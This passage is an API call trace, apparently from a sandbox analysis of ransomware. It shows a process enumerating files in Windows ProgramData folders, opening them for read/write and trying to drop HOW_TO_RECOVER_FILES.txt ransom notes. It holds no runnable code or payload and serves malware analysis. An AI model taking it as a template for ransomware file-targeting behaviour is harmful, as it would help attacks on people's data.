ftLastWriteTime.dwLowDateTime=0x1dd4ae8d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edbres00001.jrs", cAlternateFileName="EDBRES~1.JRS")) returned 1 [0073.743] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd4ae8d, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1dd4ae8d, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1dd4ae8d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edbres00002.jrs", cAlternateFileName="EDBRES~2.JRS")) returned 1 [0073.743] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd24c5a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1dd24c5a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1deee89a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edbtmp.log", cAlternateFileName="")) returned 1 [0073.743] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd973cb, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1dd973cb, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1b74fcb1, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmsInterceptStore.db", cAlternateFileName="SMSINT~1.DB")) returned 1 [0073.743] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd7110f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1dd7110f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1b74fcb1, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmsInterceptStore.jfm", cAlternateFileName="SMSINT~1.JFM")) returned 1 [0073.743] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0073.743] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0073.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0073.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0073.744] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0073.744] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore", lpFilePart=0x0) returned 0x2f [0073.744] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1dcfea0a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1b408c4a, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x1b408c4a, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0073.745] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1dcfea0a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1b408c4a, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x1b408c4a, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.745] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd4ae8d, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1dd4ae8d, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1b93f8ea, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb.chk", cAlternateFileName="")) returned 1 [0073.746] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd24c5a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1dec862e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1b93f8ea, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb.log", cAlternateFileName="")) returned 1 [0073.746] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd24c5a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1dd4ae8d, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1b42ee8a, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb00002.log", cAlternateFileName="")) returned 1 [0073.746] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd4ae8d, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1dd4ae8d, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1dd4ae8d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edbres00001.jrs", cAlternateFileName="EDBRES~1.JRS")) returned 1 [0073.746] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd4ae8d, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1dd4ae8d, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1dd4ae8d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edbres00002.jrs", cAlternateFileName="EDBRES~2.JRS")) returned 1 [0073.746] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd24c5a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1dd24c5a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1deee89a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edbtmp.log", cAlternateFileName="")) returned 1 [0073.747] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd973cb, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1dd973cb, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1b74fcb1, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmsInterceptStore.db", cAlternateFileName="SMSINT~1.DB")) returned 1 [0073.747] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd7110f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1dd7110f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1b74fcb1, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmsInterceptStore.jfm", cAlternateFileName="SMSINT~1.JFM")) returned 1 [0073.747] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd7110f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1dd7110f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1b74fcb1, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmsInterceptStore.jfm", cAlternateFileName="SMSINT~1.JFM")) returned 0 [0073.747] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0073.748] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0073.748] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0073.748] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb.chk", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb.chk", lpFilePart=0x0) returned 0x37 [0073.748] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0073.748] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb.chk" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edb.chk"), fInfoLevelId=0x0, lpFileInformation=0x34dce30 | out: lpFileInformation=0x34dce30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd4ae8d, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1dd4ae8d, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1b93f8ea, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0073.750] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0073.750] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb.chk", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb.chk", lpFilePart=0x0) returned 0x37 [0073.750] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0073.751] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb.chk" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edb.chk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0073.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea570) returned 1 [0073.754] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb.log", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb.log", lpFilePart=0x0) returned 0x37 [0073.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0073.754] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb.log" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edb.log"), fInfoLevelId=0x0, lpFileInformation=0x34dd788 | out: lpFileInformation=0x34dd788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd24c5a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1dec862e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1b93f8ea, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x10000)) returned 1 [0073.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0073.754] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb.log", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb.log", lpFilePart=0x0) returned 0x37 [0073.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0073.754] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb.log" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edb.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0073.756] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea570) returned 1 [0073.757] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb00002.log", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb00002.log", lpFilePart=0x0) returned 0x3c [0073.757] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0073.757] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb00002.log" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edb00002.log"), fInfoLevelId=0x0, lpFileInformation=0x34de018 | out: lpFileInformation=0x34de018*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd24c5a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1dd4ae8d, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1b42ee8a, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x10000)) returned 1 [0074.125] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0074.126] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb00002.log", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb00002.log", lpFilePart=0x0) returned 0x3c [0074.126] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0074.126] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb00002.log" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edb00002.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0074.129] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea570) returned 1 [0074.130] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edbtmp.log", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edbtmp.log", lpFilePart=0x0) returned 0x3a [0074.130] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0074.130] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edbtmp.log" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edbtmp.log"), fInfoLevelId=0x0, lpFileInformation=0x36394d8 | out: lpFileInformation=0x36394d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd24c5a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1dd24c5a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1deee89a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x10000)) returned 1 [0074.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0074.130] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edbtmp.log", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edbtmp.log", lpFilePart=0x0) returned 0x3a [0074.130] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0074.130] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edbtmp.log" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edbtmp.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0074.132] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea570) returned 1 [0074.132] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.db", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.db", lpFilePart=0x0) returned 0x44 [0074.132] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0074.132] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.db" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\smsinterceptstore.db"), fInfoLevelId=0x0, lpFileInformation=0x3639c10 | out: lpFileInformation=0x3639c10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd973cb, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1dd973cb, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1b74fcb1, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x30000)) returned 1 [0074.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0074.133] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.db", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.db", lpFilePart=0x0) returned 0x44 [0074.133] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0074.133] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.db" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\smsinterceptstore.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0074.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea570) returned 1 [0074.136] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x48 [0074.136] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0074.136] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0074.296] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea830) returned 1 [0074.648] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\SmsRouter\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3b [0074.648] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0074.648] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\smsrouter\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0074.649] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eb260) returned 1 [0074.650] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0074.650] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Spectrum", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Spectrum", lpFilePart=0x0) returned 0x21 [0074.651] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Spectrum\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe3607ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0074.651] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe3607ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.651] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe3607ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0074.651] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0074.651] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0074.651] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0074.651] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0074.651] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Spectrum", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Spectrum", lpFilePart=0x0) returned 0x21 [0074.652] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Spectrum\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe3607ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0074.652] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe3607ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.652] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe3607ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0074.652] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 